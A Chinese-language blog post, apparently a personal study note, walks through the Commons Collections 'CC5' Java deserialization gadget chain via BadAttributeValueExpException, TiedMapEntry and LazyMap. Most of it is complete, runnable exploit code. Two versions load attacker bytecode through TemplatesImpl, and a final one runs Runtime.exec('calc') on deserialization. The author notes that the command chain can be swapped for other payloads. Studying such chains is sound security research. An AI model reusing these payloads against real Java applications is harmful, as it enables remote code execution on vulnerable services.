CC5

Java学习

CC5

在前面CC6的学习中,我们在找LazyMap.get()的其他调用链时,找到了org.apache.commons.collections.keyvalue.TiedMapEntry类,在CC6中,我们着重于调用TiedMapEntry类hashCode()方法从而可以调用到getValue()方法:

image-20240731144552285

但是纵观TiedMapEntry类的源码,还可以看到一个toString()方法:

image-20240731144715109

这个类也可以调用到TiedMapEntry类的getValue()方法,现在就是看是否还有哪个类可以调用到这个方法,也就是CC5要解决的问题。

测试环境:

  • JDK 8u411
  • commons-collections 3.2.1

代码调试

在ysoserial链中,我们可以看见新利用到了一个类,BadAttributeValueExpException,这个类位于javax.management.BadAttributeValueExpException

这里需要知道一个知识点:如果一个类没有实现Serializable接口,但只要某个类的祖先类(父类、祖父类等)实现了Serializable接口,那么其所有子类也被认为是可序列化的。

BadAttributeValueException类部分源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

虽然这个类没有实现Serializable接口,但是其父类Exception的父类Throwable实现了Serializable接口,所以BadAttributeValueException也是可以序列化的。

个人思考

现在继续来看源码,我看到了这个类的构造方法: image-20240731151507418

这是一个三元操作符,如果val不为null,则返回val.toString(),既然这里是构造方法,我想到了CC3的利用方法,只要我们构造了val为我们设置好的TiedMapEntry类,那么我们是否能够成功调用。

在CC3利用到了InstantiateTransformer类,那么在这里再尝试利用一下。

想了一下,理论上应该是可以的,没得好大意义吗,因为最终在反序列化的时候还是需要调用其他类的readObject(),以CC3的HashMap为例,还是构建下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};

        Transformer chain = new ChainedTransformer(chainPart);
        Map hash0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hash0,chain);
        TiedMapEntry haha0 = new TiedMapEntry(lazy0,"fupanc0");

        Transformer[] realTransformer = new Transformer[]{new ConstantTransformer(BadAttributeValueExpException.class),new InstantiateTransformer(new Class[]{Object.class},new Object[]{haha0})};
        Transformer outerMap = new ChainedTransformer(realTransformer);
        Map hash1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hash1,outerMap);
        TiedMapEntry haha1 = new TiedMapEntry(lazy1,"fupanc1");
        HashMap hashMap = new HashMap();
        hashMap.put(haha1,"xxxx");
        //错误点
        hash1.remove("fupanc1");
        hash0.remove("fupanc0");

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

代码有问题,在运行后是成功在put部分弹出计算机,这说明代码逻辑应该没问题,并且跟源码发现前面确实在按预期走,在弹出计算机后在后面的InstantiateTransformer#transforme的catch的var6部分后一点突然结束了,导致程序直接结束,让后面的remove和序列化等操作都无法实现,有点怪,先遗留这个问题,等后面学深了再来想。

除了上面无法全部运行的问题,还有看代码,其实可以说是多此一举了,定义了两个TiedMapEntry来实现,就简单了解一下就行了。

现在来尝试解决一下,既然问题是在序列化的时候就弹出计算机,并且调试了一下,问题应该是在动态加载字节码这里,结合全部CC链的知识点,那么是否我们可以先假再真呢?

尝试一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{ctf})};
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map hash0 = new HashMap();
        Map lazy0 = LazyMap.decorate(hash0,chain);
        TiedMapEntry haha0 = new TiedMapEntry(lazy0,"fupanc0");

        Transformer[] realTransformer = new Transformer[]{new ConstantTransformer(BadAttributeValueExpException.class),new InstantiateTransformer(new Class[]{Object.class},new Object[]{haha0})};
        Transformer outerMap = new ChainedTransformer(realTransformer);
        Map hash1 = new HashMap();
        Map lazy1 = LazyMap.decorate(hash1,outerMap);
        TiedMapEntry haha1 = new TiedMapEntry(lazy1,"fupanc1");
        HashMap hashMap = new HashMap();
        hashMap.put(haha1,"xxxx");
        
        hash1.remove("fupanc1");
        hash0.remove("fupanc0");

        Field field1 = chain.getClass().getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(chain,chainPart);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成功在反序列化时弹出计算机

正式学习

继续看源码,我们看BadAttributeValueExpException的readObject()方法,这里也利用了toString()方法:

image-20240731165921565

看这个readObject()方法,valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的。所以我们只要控制了BadAttributeValueExpException类的val参数,就相当于控制了valObj,所以我们这里需要将val设置为TiedMapEntry类的实例。

image-20240731182028531

继续看代码,只要我们传入的val的值不是String类型,并且符合第三个条件中的的任意一个,就可以成功进入第三个条件的语句,从而可以执行TiedMapEntry类的toString()方法。

在java中,Sysyem.getSecurityManager()的返回值默认是null,看如下测试语句:

image-20240731213103870

所以一般是可以进入到这个语句的。

那么现在就差构造了,思路就是将一个设置好了的TiedMapEntry类传给val就行,结合前面学过的代码,可以先随便传,再反射修改即可,所以可以如下构造代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main{
    public static void main(String[] args) throws Exception {

        Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
        
        Transformer chain = new ChainedTransformer(chainPart);
        Map hash = new HashMap();
        Map lazy = LazyMap.decorate(hash,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        Object o = new BadAttributeValueExpException(null);
        Field x = BadAttributeValueExpException.class.getDeclaredField("val");
        x.setAccessible(true);
        x.set(o,outerMap);
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(o);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
}

成功弹出计算机。

同样的如果你想使用其他类型,比如结合动态加载字节码之类的,基本都是只用改一下chainPart那里的链就行。

问题

  • 子父类的序列化问题
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计